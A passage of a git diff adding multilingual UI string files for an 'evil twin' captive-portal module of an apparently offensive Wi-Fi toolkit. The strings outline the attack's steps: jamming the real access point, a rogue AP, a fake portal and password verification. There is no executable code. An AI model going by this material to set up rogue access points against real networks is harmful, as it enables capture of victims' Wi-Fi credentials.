+CaptivePortalStaringAPRoutesNotice="Ξεκιναω τις διαδρομες για το περιβάλλον της πύλης αιχμαλωσίας..." +CaptivePortalStartingDHCPServiceNotice="Ξεκιναω τις υπηρεσίες του δικτυου πρόσβασης DHCP σαν daemon..." +CaptivePortalStartingDNSServiceNotice="Ξεκιναω τις υπηρεσιες DNS του δικτύου πρόσβασης σαν daemon..." +CaptivePortalStartingWebServiceNotice="Ξεκιναω την πυλη αιχμαλωσίας του δικτύου πρόσβασης σαν daemon..." +CaptivePortalStartingJammerServiceNotice="Ξεκιναω τον παρεμβολεα του δικτύου πρόσβασης σαν daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Ξεκιναω το πρόγραμμα επιβεβαίωσης..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Μέθοδος επαλήθευσης κωδικού πρόσβασης" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Διαλεξε την πηγη του πιστοποιητικού SSL για την πύλη αιχμαλωσίας." +CaptivePortalCertificateSourceGenerateOption="Δημιουργηστε ενα πιστοποιητικό SSL" +CaptivePortalCertificateSourceRescanOption="Ανιχνευση πιστοποιητικού (${CClr}Ψαξε ξανά$CGry)" +CaptivePortalCertificateSourceDisabledOption="Κανένα (${CYel} απενεργοποίηση SSL$CGry)" +CaptivePortalUIQuery="Διαλεξε διεπαφή της πύλης αιχμαλωσίας για το κακοβουλο δίκτυο." +CaptivePortalGenericInterfaceOption="Γενική Πύλη" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Διαλεξτε τροπο δικτύωσης για το κακόβουλο Δίκτυο." +CaptivePortalConnectivityDisconnectedOption="Αποσυνδεδεμενο (${CGrn}προτεινωμενο$CClr)" +CaptivePortalConnectivityEmulatedOption="προσποιητα συνδεδεμενο" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/en.sh b/attacks/Captive Portal/language/en.sh new file mode 100755 index 0000000..0b6723e --- /dev/null +++ b/attacks/Captive Portal/language/en.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Select a password verification method" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/es.sh b/attacks/Captive Portal/language/es.sh new file mode 100755 index 0000000..55254f3 --- /dev/null +++ b/attacks/Captive Portal/language/es.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Portal Cautivo +# description: Crea un punto de acceso "gemelo malvado". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="MÉTODO PARA VERIFICAR CONTRASEÑA" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/fr.sh b/attacks/Captive Portal/language/fr.sh new file mode 100755 index 0000000..d90fb99 --- /dev/null +++ b/attacks/Captive Portal/language/fr.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Portail Captif +# description: Crée un point d'accès «jumeau malveillant». + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Incapable de lancer une interface de portail captif$CClr, retour arrière !" +CaptivePortalStaringAPServiceNotice=" Lancement du service de point d'accès du portail captif..." +CaptivePortalStaringAPRoutesNotice="Lancement des routes du portail captif de point d'accès..." +CaptivePortalStartingDHCPServiceNotice="Lancement du service DHCP de point d'accès comme daemon..." +CaptivePortalStartingDNSServiceNotice="Lancement du service DNS de point d'accès comme daemon..." +CaptivePortalStartingWebServiceNotice="Lancement du portail captif de point d'accès comme daemon..." +CaptivePortalStartingJammerServiceNotice="Lancement de l'interrupteur de point d'accès comme daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Lancement du script d'authentification..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METHODE DE VÉRIFICATION DU MOT DE PASSE" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Sélectionnez le certificat SSL source pour le portail captif." +CaptivePortalCertificateSourceGenerateOption="Créer un certificat SSL" +CaptivePortalCertificateSourceRescanOption="Détecter le certificat SSL (${CClr}chercher encore$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Sélectionnez une interface de portail captif pour le réseau parasite." +CaptivePortalGenericInterfaceOption="Portail générique" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/it.sh b/attacks/Captive Portal/language/it.sh new file mode 100755 index 0000000..dbc98ab --- /dev/null +++ b/attacks/Captive Portal/language/it.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Crea un punto di accesso "gemello cattivo". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Impossibile avviare il portale interface$CClr, ritorno!" +CaptivePortalStaringAPServiceNotice="Avvio del servizio del Portale di Cattura..." +CaptivePortalStaringAPRoutesNotice="Avvio access point del Portale di Cattura..." +CaptivePortalStartingDHCPServiceNotice="Avvio del servizio DHCP..." +CaptivePortalStartingDNSServiceNotice="Avvio del servizio DNS..." +CaptivePortalStartingWebServiceNotice="Avvio del servizio del Portale WEB..." +CaptivePortalStartingJammerServiceNotice="Avvio del servizio di JAMMING..." +CaptivePortalStartingAuthenticatorServiceNotice="Avvio Script di Autenticazione..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="MODALITA' DI VERIFICA DELLA PASSWORD" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Seleziona il certificato SSL." +CaptivePortalCertificateSourceGenerateOption="Crea il certificato SSL" +CaptivePortalCertificateSourceRescanOption="Identifica il certificato SSL (${CClr}cerca ancora$CGry)" +CaptivePortalCertificateSourceDisabledOption="Nessuno (${CYel}disabilita SSL$CGry)" +CaptivePortalUIQuery="Seleziona l'intefaccia del Portale di Cattura." +CaptivePortalGenericInterfaceOption="Portale Generico" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Seleziona una conettività internet per il punto di accesso cattivo." +CaptivePortalConnectivityDisconnectedOption="disconnesso (${CGrn}raccomandato$CClr)" +CaptivePortalConnectivityEmulatedOption="emulato" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/pl.sh b/attacks/Captive Portal/language/pl.sh new file mode 100755 index 0000000..0b6723e --- /dev/null +++ b/attacks/Captive Portal/language/pl.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Select a password verification method" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/pt-br.sh b/attacks/Captive Portal/language/pt-br.sh new file mode 100755 index 0000000..0b6723e --- /dev/null +++ b/attacks/Captive Portal/language/pt-br.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Select a password verification method" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/ro.sh b/attacks/Captive Portal/language/ro.sh new file mode 100755 index 0000000..e59e6e0 --- /dev/null +++ b/attacks/Captive Portal/language/ro.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captiv Portal +# description: Creează un punct de acces "gemeni rău". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METODA PENTRU VERIFICAREA PAROLEI" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/ru.sh b/attacks/Captive Portal/language/ru.sh new file mode 100755 index 0000000..ebe90cb --- /dev/null +++ b/attacks/Captive Portal/language/ru.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Создаёт точку доступа "Злой Двойник". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Выберите интерфейс для глушения." +CaptivePortalAccessPointInterfaceQuery="Выберите интерфейс для точки доступа." +CaptivePortalCannotStartInterfaceError="${CRed}Не получается запустить перехватывающий портал interface$CClr, возврат!" +CaptivePortalStaringAPServiceNotice="Запуск службы точки доступа с Перехватывающим Порталом..." +CaptivePortalStaringAPRoutesNotice="Запуск маршрутизации точки доступа с Перехватывающим Порталом..." +CaptivePortalStartingDHCPServiceNotice="Запуск службы DHCP точки доступа в качестве демона..." +CaptivePortalStartingDNSServiceNotice="Запуск службы DNS точки доступа в качестве демона..." +CaptivePortalStartingWebServiceNotice="Запуск точки доступа с Перехватывающим Порталом в качестве демона..." +CaptivePortalStartingJammerServiceNotice="Запуск глушителя точки доступа в качестве демона..." +CaptivePortalStartingAuthenticatorServiceNotice="Запуск скрипта аутентификации..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Выберите службу точки доступа" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}рекомендуется$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}медленная$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Выбор метода верификации пароля" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Выбор источника SSL сертификата для перехватывающего портала." +CaptivePortalCertificateSourceGenerateOption="Создание SSL сертификата" +CaptivePortalCertificateSourceRescanOption="Поиск SSL сертификата (${CClr}искать снова$CGry)" +CaptivePortalCertificateSourceDisabledOption="Нет (${CYel} SSL отключено$CGry)" +CaptivePortalUIQuery="Выберите интерфейс перехватывающего портала для мошеннической сети." +CaptivePortalGenericInterfaceOption="Обычный Портал" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Выберите тип Интернет-соединения для мошеннической сети." +CaptivePortalConnectivityDisconnectedOption="отключено (${CGrn}рекомендуется$CClr)" +CaptivePortalConnectivityEmulatedOption="эмулирован" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/sk.sh b/attacks/Captive Portal/language/sk.sh new file mode 100644 index 0000000..4c9cd8b --- /dev/null +++ b/attacks/Captive Portal/language/sk.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Vytvorí prístupový bod "zlé dvojča" + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Nepodarilo sa spustiť adaptér 'Captive Portal' $CClr, vraciam sa!" +CaptivePortalStaringAPServiceNotice="Spúšťam službu 'Captive Portal' prístupového bodu..." +CaptivePortalStaringAPRoutesNotice="Spúšťam smerovanie 'Captive Portal' prístupového bodu..." +CaptivePortalStartingDHCPServiceNotice="Spúšťam službu DHCP prístupového bodu ako 'daemon'..." +CaptivePortalStartingDNSServiceNotice="Spúšťam službu DNS prístupového bodu ako 'daemon'..." +CaptivePortalStartingWebServiceNotice="Spúšťam 'Captive Portal' prístupového bodu ako 'daemon'..." +CaptivePortalStartingJammerServiceNotice="Spúšťam blokovanie prístupového bodu ako 'daemon'..." +CaptivePortalStartingAuthenticatorServiceNotice="Spúšťam autentifikačný skript..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Vyberte spôsob overenia hesla" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Vyberte SSL certifikát pre 'Captive Portal'." +CaptivePortalCertificateSourceGenerateOption="Vytvoriť SSL certifikát." +CaptivePortalCertificateSourceRescanOption="Detekovať SSL certifikát (${CClr}hľadať znovu$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Vyberte 'Captive Portal' adaptér pre falošnú sieť (rogue network)." +CaptivePortalGenericInterfaceOption="Všeobecný Portál (generic portal)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/sl.sh b/attacks/Captive 